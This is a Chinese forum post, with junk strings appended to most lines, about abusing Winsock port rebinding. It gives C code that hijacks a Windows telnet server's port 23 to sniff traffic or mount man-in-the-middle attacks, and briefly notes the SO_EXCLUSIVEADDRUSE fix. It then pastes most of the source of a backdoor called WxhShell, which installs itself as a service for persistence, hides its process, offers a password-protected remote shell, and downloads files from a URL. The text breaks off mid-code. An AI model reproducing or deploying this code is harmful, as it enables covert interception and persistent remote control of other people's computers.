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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: piPx8jT`F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hP$v,"$  
xoQ;fVNp  
  saddr.sin_family = AF_INET; KO''B or  
a|u&N:v7B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -rXo}I,VI  
A6faRi703  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SAUfA5|e  
W}0cM9 g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~REP@!\r^  
FQp@/H^  
  这意味着什么?意味着可以进行如下的攻击: 7JL*y\'  
~bsL W:.'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \:[J-ySJ  
 8-.jf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "u=U@1 ^  
b>_eD-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -z6{!  
= 3("gScUj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3{"MN=  
fx#Krr @  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R&P}\cf8T  
Ao}J   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )/4xR]  
8F(Vd99I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +@5@`"Jry  
T:?01?m  
  #include FM=- ^l,  
  #include }(-2a*Z;Y  
  #include |(Q !$  
  #include    .CY;-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .R! /?eN  
  int main() S)L(~ N1  
  {  L4 )  
  WORD wVersionRequested; z!> H^v  
  DWORD ret; Z}NMDb:t  
  WSADATA wsaData; RX6s[uQ  
  BOOL val; x+;"(]#  
  SOCKADDR_IN saddr; vOnhJN  
  SOCKADDR_IN scaddr; Rk(2|I  
  int err;  ~d\>f  
  SOCKET s; ?$Tp|<tx#  
  SOCKET sc; \-eDNwJ:#@  
  int caddsize; ?x-:JME0  
  HANDLE mt; {DVu* %|  
  DWORD tid;   PD$@.pib  
  wVersionRequested = MAKEWORD( 2, 2 ); '3'*VcL(  
  err = WSAStartup( wVersionRequested, &wsaData ); iLR^V!  
  if ( err != 0 ) { PEIf)**0N  
  printf("error!WSAStartup failed!\n"); KsR^:_e  
  return -1; lQ!)0F  
  } DwBKqhu  
  saddr.sin_family = AF_INET; gT8%?U:  
   iF!r}fUU6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x=jS=3$8  
^`< %Pk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /~nPPC  
  saddr.sin_port = htons(23); ?VaAVxd29  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8*[Q{:'.  
  { +w(>UBy-  
  printf("error!socket failed!\n"); aH(B}wh{  
  return -1; ~P5;k_&  
  } }+3v5Nz;  
  val = TRUE; tJgo% P1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #lo1GoL\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \&#pJBBG  
  { Zwm2T3@e  
  printf("error!setsockopt failed!\n"); ~SD8#;v2  
  return -1; d4[mR~XXT  
  } ^Ox|q_E w}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L kA_M'G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w]Byl3}Gt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R3\oLT4  
:^92B?q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HAOl&\)7"_  
  { v==]v2 -  
  ret=GetLastError(); <-avC/M$d  
  printf("error!bind failed!\n"); h|Os T  
  return -1; v5Qp[O_  
  } WK)2/$7@  
  listen(s,2); ;E0aTV)Zp  
  while(1) :^H#i:4  
  { c(5r  
  caddsize = sizeof(scaddr); RV{'[8gM   
  //接受连接请求 n(.U>_ P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !GL kAV  
  if(sc!=INVALID_SOCKET) n$z+g>~N  
  { BL?Bl&p(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s+RSAyU  
  if(mt==NULL) M+lj g&fy  
  { p%?m|(4f  
  printf("Thread Creat Failed!\n"); co-dq\P  
  break; J=@D]I*3  
  } ']cRSj.  
  } F9\T <  
  CloseHandle(mt); m.0: R  
  } fO'"UI  
  closesocket(s); PW)Gd +y  
  WSACleanup(); GR ^d/  
  return 0; \cKY{(E  
  }   wr+r J  
  DWORD WINAPI ClientThread(LPVOID lpParam) "S ~(|G  
  { 5q Y+^jO]o  
  SOCKET ss = (SOCKET)lpParam; !\RBOdw C  
  SOCKET sc; IA&NMf;{  
  unsigned char buf[4096]; 0S}ogU[k  
  SOCKADDR_IN saddr; :K]&rGi,  
  long num; <{xU.zp'  
  DWORD val; \u@*FTS  
  DWORD ret; -YD+x PD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b?Zt3#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~[H+,+XLY+  
  saddr.sin_family = AF_INET; Fu;\t 0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (|kcSnF0  
  saddr.sin_port = htons(23); ~n<U8cm O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) brXLx +H8  
  { dvLO#o{  
  printf("error!socket failed!\n"); KDQqN]rg  
  return -1; Rx,Qw> #  
  } <[W41{  
  val = 100; -<MA\iSP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $MPh\T  
  { KbP( ;  
  ret = GetLastError(); @_ Q  
  return -1; +^0Q~>=VD  
  } Mb0l*'ZF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YrRD3P.P  
  { 7F!(60xY  
  ret = GetLastError(); l]wjH5mz=i  
  return -1; 2qQG  
  } S.Rqu+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S( nZ]QEG  
  {  +?I 1Og  
  printf("error!socket connect failed!\n"); { t1|6R0  
  closesocket(sc); dY6A)[dAH'  
  closesocket(ss); _${//`ia=  
  return -1; S>y(3E]I  
  } `mt. =d  
  while(1) _pZaVx  
  { ) }.<lSw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =iZj&B X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,k=1 '7d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hynX5,p;.  
  num = recv(ss,buf,4096,0); 1B#Z<p  
  if(num>0) -hjGPu  
  send(sc,buf,num,0); RqnT*  
  else if(num==0) +dB/SC-^U  
  break; =!pfgE  
  num = recv(sc,buf,4096,0); e_iXR#bZc  
  if(num>0) yi-S^  
  send(ss,buf,num,0); ZM$}Xy\9  
  else if(num==0) FR%u1fi  
  break; 72;4  
  } A"$UU6Z4  
  closesocket(ss); N%:)MT,&g  
  closesocket(sc); U! xOJ  
  return 0 ; @2HNYW)  
  } 0w24lVR.  
4PsJs<u  
RXZ}aX[h  
========================================================== n:i?4'-}  
?oKY"C8/  
下边附上一个代码,,WXhSHELL nGvWlx  
b7nER]R  
========================================================== _h2s(u >\  
E,fG<X{  
#include "stdafx.h" iR`c/  
e.<y-b?  
#include <stdio.h> p"lTZ7c:Y  
#include <string.h> $: %U`46%s  
#include <windows.h> Ln2dD>{2  
#include <winsock2.h> O5;$cP:  
#include <winsvc.h> luYa+E0  
#include <urlmon.h> LBs:O*;  
 | D?lF  
#pragma comment (lib, "Ws2_32.lib") a`:ag~op@&  
#pragma comment (lib, "urlmon.lib") icnc5G  
NDt +m  
#define MAX_USER   100 // 最大客户端连接数 NE'4atQ|  
#define BUF_SOCK   200 // sock buffer B"9/+Yj  
#define KEY_BUFF   255 // 输入 buffer 5qx,b&^w  
n,.ZLuBEX  
#define REBOOT     0   // 重启 4Em$L]7   
#define SHUTDOWN   1   // 关机 liuF;*  
EP ;TfWc}1  
#define DEF_PORT   5000 // 监听端口 "N|gU;~W  
$2?10}mrx  
#define REG_LEN     16   // 注册表键长度 AlQE;4yX  
#define SVC_LEN     80   // NT服务名长度 $u`v k|\R  
R"0fZENTG  
// 从dll定义API 9*"Ae0ok1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .S{Q }S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #UO#kC<2(B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ig*qn# Dd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G{8>  
8D[,z 7n  
// wxhshell配置信息 j![;;  
struct WSCFG { 1E]|>)$  
  int ws_port;         // 监听端口 X9lh@`3  
  char ws_passstr[REG_LEN]; // 口令 fT&>L  
  int ws_autoins;       // 安装标记, 1=yes 0=no k~<b~VcU  
  char ws_regname[REG_LEN]; // 注册表键名 /M.@dW7 w  
  char ws_svcname[REG_LEN]; // 服务名 p%_m!   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 { 4(E @  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f-!A4eKe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $d[xSwang  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %^r}$mfy:0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @H?_x/qBT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?3vOc/2@  
iHp@R-g  
}; PN$vBFjm  
lM<SoC;[  
// default Wxhshell configuration  YjV-70'  
struct WSCFG wscfg={DEF_PORT, e=]>TeqG0  
    "xuhuanlingzhe", xK3 xiR  
    1, 0."TSe83\  
    "Wxhshell", w,'"2^Cwy  
    "Wxhshell", Fa!6*K\  
            "WxhShell Service", cnrS.s=  
    "Wrsky Windows CmdShell Service", `k>h2(@9S  
    "Please Input Your Password: ", f8m%T%]f  
  1, `(RQh@H  
  "http://www.wrsky.com/wxhshell.exe", ylEQeN  
  "Wxhshell.exe" BgzER[g|q{  
    }; v@6TC1M,  
C9`J6Uu  
// 消息定义模块 @y#QHJ.j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -}h+hS50F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vw'`t6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :4ndU:.L  
char *msg_ws_ext="\n\rExit."; n$ri:~s  
char *msg_ws_end="\n\rQuit."; (($"XOU  
char *msg_ws_boot="\n\rReboot..."; |#r [{2sS  
char *msg_ws_poff="\n\rShutdown..."; 8, >YB+Hb  
char *msg_ws_down="\n\rSave to "; z&"-%l.b@}  
u)DhkF|  
char *msg_ws_err="\n\rErr!"; +:s]>R eDa  
char *msg_ws_ok="\n\rOK!"; '_~X(izc  
j70]2NgX  
char ExeFile[MAX_PATH]; ZW]Q|vPh4U  
int nUser = 0; 7,\Uk|  
HANDLE handles[MAX_USER]; sw(dd01a 7  
int OsIsNt; :[#~,TW  
}P5zf$  
SERVICE_STATUS       serviceStatus; _>G=v!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4|&7j7<u  
}WN0L?h.E  
// 函数声明 i&r56m<  
int Install(void); 3E!#?N|v  
int Uninstall(void); XYKWOrkQqa  
int DownloadFile(char *sURL, SOCKET wsh); X>n\@rTo  
int Boot(int flag); B"-gK20vY  
void HideProc(void); ]aqHk  
int GetOsVer(void); &*I\~;1  
int Wxhshell(SOCKET wsl); z)Y<@2V*C  
void TalkWithClient(void *cs); &IQp&  
int CmdShell(SOCKET sock); $uA?c& e  
int StartFromService(void); N@M(Iw  
int StartWxhshell(LPSTR lpCmdLine); sGf\!w  
JY\8^}'9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P(_wT:8C?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FN#6pM']|  
x4PH-f-7  
// 数据结构和表定义 n\nC.|_G@  
SERVICE_TABLE_ENTRY DispatchTable[] = Q9lw~"  
{ $II[b-X?S  
{wscfg.ws_svcname, NTServiceMain}, /\%K7\  
{NULL, NULL} Q]';1#J\  
}; T;eA<,H  
Su<Ggv"  
// 自我安装 Fh XR!x^  
int Install(void) Ek [V A\G  
{ C] <K s  
  char svExeFile[MAX_PATH]; VQm)32'  
  HKEY key; C-;y#a)  
  strcpy(svExeFile,ExeFile); t|gEMDGa3  
O1@-)<_71  
// 如果是win9x系统,修改注册表设为自启动 ~ caKzq  
if(!OsIsNt) { (c /H$'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nt,tM/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %$b)l? !  
  RegCloseKey(key); "t<$ {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @j%r6N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  [69[Ct  
  RegCloseKey(key); oKIry 8'^N  
  return 0; ; &2J9  
    } n7 RswX  
  } >IW0YIQy,  
} ;79X# hI  
else { AsRS7V  
SR 9 Cl  
// 如果是NT以上系统,安装为系统服务 UFxQ-GV4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KzRw)P  
if (schSCManager!=0) +\FTR  
{ 5!ll #/ {`  
  SC_HANDLE schService = CreateService U!:Q|':=h  
  ( D6iHkDTg  
  schSCManager, Y[AL!h  
  wscfg.ws_svcname, Hno:"k?  
  wscfg.ws_svcdisp, v;S7i>\  
  SERVICE_ALL_ACCESS, (+<SR5,/3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r5b5`f4  
  SERVICE_AUTO_START, JM5 w`=  
  SERVICE_ERROR_NORMAL, p @@TOS  
  svExeFile, 1 l'Wb2g>A  
  NULL, q$EicH}k8  
  NULL, IqK??KSC  
  NULL, N[ %^0T$  
  NULL, (F$V m  
  NULL 6i/x"vl>  
  ); aOq>Ra{T  
  if (schService!=0) [>P@3t(/  
  { .+<Ul ]e/  
  CloseServiceHandle(schService); T}(J`{ 9i  
  CloseServiceHandle(schSCManager); )%q]?@kB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FbB> Md;  
  strcat(svExeFile,wscfg.ws_svcname); 4h>Dpml  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tBgB>-h(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :CO>g=`  
  RegCloseKey(key); od{b]HvgS  
  return 0; y]5O45E0  
    } I_mnXd;n  
  } j]EeL=H<P  
  CloseServiceHandle(schSCManager); /TTmMx*  
} 8\m_.e  
} OWsK>egD  
]KfjZ!Qh  
return 1;  ?[Od.  
} $m`?x5rL8  
sE$!MQb  
// 自我卸载 sQrP,:=r#  
int Uninstall(void) 'rJkxU{  
{ .P\wE";  
  HKEY key; dxkq*  
`}gjfu -'\  
if(!OsIsNt) { vn@9Sqk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cq`v8  
  RegDeleteValue(key,wscfg.ws_regname); B&&:A4  
  RegCloseKey(key); w66iLQ\@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @b\/\\{  
  RegDeleteValue(key,wscfg.ws_regname); $:V'+s4o  
  RegCloseKey(key); ^)Xl7d|m+  
  return 0; Z@fMU2e=Z  
  } 9L;fT5Tp7  
} y^:!]-+  
} WpE\N0Yg  
else { (J8 (_MF  
7A|n*'[T>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PSz|I8 c  
if (schSCManager!=0) /t`s.!k  
{ dieGLA<5_X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :R+}[|FV  
  if (schService!=0) M XsSF|-  
  { N;e d_!  
  if(DeleteService(schService)!=0) { b f.__3{  
  CloseServiceHandle(schService); 5LU8QHj3  
  CloseServiceHandle(schSCManager); ; F% 3b47  
  return 0; ~aKxwH  
  } bD[W`yW0  
  CloseServiceHandle(schService); )IQa]A  
  } A{mv[x-XN  
  CloseServiceHandle(schSCManager); [V_Z9-f*  
} bhaIi>W~G  
} T!C39T  
:B?C~U k  
return 1; 4$ LVl  
} G9ku(2cq  
+CL`]'~;E-  
// 从指定url下载文件 BwwOaO@L  
int DownloadFile(char *sURL, SOCKET wsh) SW|{)L,  
{ 25%[nkO4  
  HRESULT hr; <U(wLG'XS  
char seps[]= "/"; iIFM 5CT  
char *token; .$5QM&  
char *file; %"|I` m  
char myURL[MAX_PATH]; s Wk92x _l  
char myFILE[MAX_PATH]; b6sj/V8  
7M*&^P\}es  
strcpy(myURL,sURL); "w.gP8`  
  token=strtok(myURL,seps); ;5qZQ8`4  
  while(token!=NULL) Q$!dPwDg  
  { 2mj?&p?  
    file=token; F)_zR  
  token=strtok(NULL,seps); U_ELeW5@  
  } 555j@  
NO5\|.,Z  
GetCurrentDirectory(MAX_PATH,myFILE); KECo7i=e  
strcat(myFILE, "\\"); z+IBy+  
strcat(myFILE, file); {%W'Zx  
  send(wsh,myFILE,strlen(myFILE),0); y/57 >.3  
send(wsh,"...",3,0); I;xrw?=\L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c \cPmj@  
  if(hr==S_OK) IzPnbnS}  
return 0; qyzmjV6J2  
else ~R-P%l P  
return 1; H/"$#8-/  
Q-<N)K$F(4  
} ayR=GqZ1  
S- {=4b'  
// 系统电源模块 yf7p,_E/  
int Boot(int flag) W]b>k lp;  
{ m{T:<:q~  
  HANDLE hToken; ,MH/lQq%  
  TOKEN_PRIVILEGES tkp; tnL$v2e6q  
v4c*6(m  
  if(OsIsNt) { [\eh$r\   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -I dW-9~9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D@@J7  
    tkp.PrivilegeCount = 1; '/l<\b/E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zf+jQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4#?Sxs  
if(flag==REBOOT) { MYyV{W*T>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) % NSb8@  
  return 0; <y4hK3wP  
} o~<ith$A*  
else { >@?!-Fy5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h"R{{y f2  
  return 0; }7)iLfi  
} Z !HQ|')N5  
  } wD+4#=/j  
  else { L\;n[,.  
if(flag==REBOOT) { "m2g"x a\7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ndW]S7  
  return 0; _{$eOwB  
} r"HQ>Wn  
else { "u29| OY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pjG/`  
  return 0; 'Lm\ r+$F  
} W}^X;f  
} yhTC?sf<  
t5t!-w\M$+  
return 1; g~ubivl2  
} >~_oSC)E  
{\:"OcP #  
// win9x进程隐藏模块 VY9o}J>,w  
void HideProc(void) #Y|t,x;  
{ !q]@/<=  
'P'f`;'_DC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ":igYh  
  if ( hKernel != NULL ) $)or{Z$&  
  { nulLK28q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3 UXaA;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7 LotN6H  
    FreeLibrary(hKernel); b { M'aV  
  } $W_sIS0\z  
OoIs'S-Z#  
return; 4$W}6 v  
} .|?UqZ(,  
c+a"sx\  
// 获取操作系统版本 yyZs[5Q  
int GetOsVer(void) 1s\   
{ qnO>F^itF  
  OSVERSIONINFO winfo; r2b_$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o57r ,`N  
  GetVersionEx(&winfo); /+ yIcE(&3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  yxx9h3  
  return 1; |[+/ ]Y  
  else 6j 2mr6o  
  return 0; J ?y0R X  
} f3;.+hJ])  
!_i;6UVG  
// 客户端句柄模块 eN,6p '&  
int Wxhshell(SOCKET wsl) wk9qyv<  
{ ;N(9nX}%)  
  SOCKET wsh; i:/Ws1=q  
  struct sockaddr_in client; #_pQS}$  
  DWORD myID; Fo.p}j+>  
a[ Y\5Ojm  
  while(nUser<MAX_USER) 9]4W  
{ 4Pv Pp{Y  
  int nSize=sizeof(client); gcI?)F   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /:GeXDJw  
  if(wsh==INVALID_SOCKET) return 1; !,Uzt1K:  
v\ <4y P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O[<YYL 0  
if(handles[nUser]==0) Ne b")  
  closesocket(wsh); e8,!x9%J  
else %=*nJvYS  
  nUser++; *]K/8MbiF  
  } JqTR4[`Z\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Dkyw3*LCn%  
;N?raz2mEi  
  return 0;  8 ?4/  
} -Cc2|~n  
g3*J3I-O  
// 关闭 socket GNX`~%3KYc  
void CloseIt(SOCKET wsh) -qs R,H  
{ L"[>tY  
closesocket(wsh); 3uy^o  
nUser--; W*WSjuFr2  
ExitThread(0); J#) %{k_  
} vxZ :l  
}}X<e  
// 客户端请求句柄 N@x5h8  
void TalkWithClient(void *cs) W6&mXJ^3L  
{ fN_Ilg)t?5  
ozUsp[W>  
  SOCKET wsh=(SOCKET)cs; f=cj5T:[  
  char pwd[SVC_LEN]; \N a  
  char cmd[KEY_BUFF]; S2PPwCU  
char chr[1];  %G>  
int i,j; :zK\t5  
LUKt!I0l  
  while (nUser < MAX_USER) { L43]0k  
`)n/J+g  
if(wscfg.ws_passstr) { p%#=OtkC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 78h!D[6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %pUA$oUt  
  //ZeroMemory(pwd,KEY_BUFF); z/P^Bx]r  
      i=0; shuoEeoo  
  while(i<SVC_LEN) { Mh"vH0\Lj  
,8&ND864v  
  // 设置超时 #!7b3>}  
  fd_set FdRead; Aq,&p,m03  
  struct timeval TimeOut; I~T~!^}U  
  FD_ZERO(&FdRead); j}aU*p~N  
  FD_SET(wsh,&FdRead); &:[hUn8jU  
  TimeOut.tv_sec=8; Wu@v%!0  
  TimeOut.tv_usec=0; #v\o@ArX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V]W-**j<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l|L ]==M  
VpyqVbx1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EXizRL-9o  
  pwd=chr[0]; uGY(`  
  if(chr[0]==0xd || chr[0]==0xa) { ZRn!z`.0  
  pwd=0; PL*1-t?#  
  break; i:n1Di1~E  
  } I*EHZctH  
  i++; |'!9mvt=  
    } M d.^r5r  
Q=?YY-*$  
  // 如果是非法用户,关闭 socket \qw1\-q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q vGP$g  
} ~ yu\vqN  
V7)<MY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q7pjF`wu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d37|o3oC  
g93H l&  
while(1) { K-Fro~U  
tE"IE$$1  
  ZeroMemory(cmd,KEY_BUFF); TFI$>Oz|  
RCY}JH>}  
      // 自动支持客户端 telnet标准   fK10{>E1  
  j=0; [;$9s=:[  
  while(j<KEY_BUFF) { ;t \C!A6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); # 5b   
  cmd[j]=chr[0]; 6g 5Lf)yG  
  if(chr[0]==0xa || chr[0]==0xd) { v{O(}@  
  cmd[j]=0; &H:2TL!  
  break; k{E!X  
  } DgGG*OXY  
  j++; EeDK ^W8N  
    } gT#hF]c:  
_Eus7  
  // 下载文件 xi}3)5  
  if(strstr(cmd,"http://")) { 1+9}Xnxb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,niQs+'<  
  if(DownloadFile(cmd,wsh)) S&{#sl#e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AI9#\$aGV  
  else @%gth@8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k[8{N  
  } C7_nA:Rc  
  else { |`Q2K9'4bL  
dH~i  
    switch(cmd[0]) { <>R\lPI2  
  66l+cb  
  // 帮助 &b=OT%D~FU  
  case '?': { Z>_F:1x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M&5De{LS}  
    break; {8w,{p`  
  } qU+q Y2S:  
  // 安装 vxl!`$Pi  
  case 'i': { C~c|};&%  
    if(Install()) O=\`q6l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VL/KC-6  
    else Xr]<v%,C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p{w:^l(  
    break; E#(dri*#t  
    } U@"f(YL+"  
  // 卸载 r(p@{L185  
  case 'r': { I0v4TjHH  
    if(Uninstall()) UY/qI%#L#,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _&K>fy3t&  
    else !H4C5wDu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !f)^z9QX8  
    break; wG",Obja  
    } f_;6uCCO  
  // 显示 wxhshell 所在路径 &m{vLw  
  case 'p': { ?xYoCn}Z  
    char svExeFile[MAX_PATH]; 8w9?n3z=}  
    strcpy(svExeFile,"\n\r"); p(pL"  
      strcat(svExeFile,ExeFile); '=cAdja  
        send(wsh,svExeFile,strlen(svExeFile),0); !xz{X?  
    break; /(?,S{]  
    } u$nYddak  
  // 重启 ^ SW!S_&Z2  
  case 'b': { +a74] H"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *s (L!+  
    if(Boot(REBOOT)) DUWSY?^c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A?ij  
    else { N5Ih+8zT  
    closesocket(wsh); (laVmU?I7  
    ExitThread(0); 3AcCa>  
    } ' qN"!\  
    break; v<V9Z <ub  
    } Hi#f Qji  
  // 关机 LseS8F/q  
  case 'd': { -(l/.yE{X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p[:E$#W~;  
    if(Boot(SHUTDOWN)) {/q4W; D  
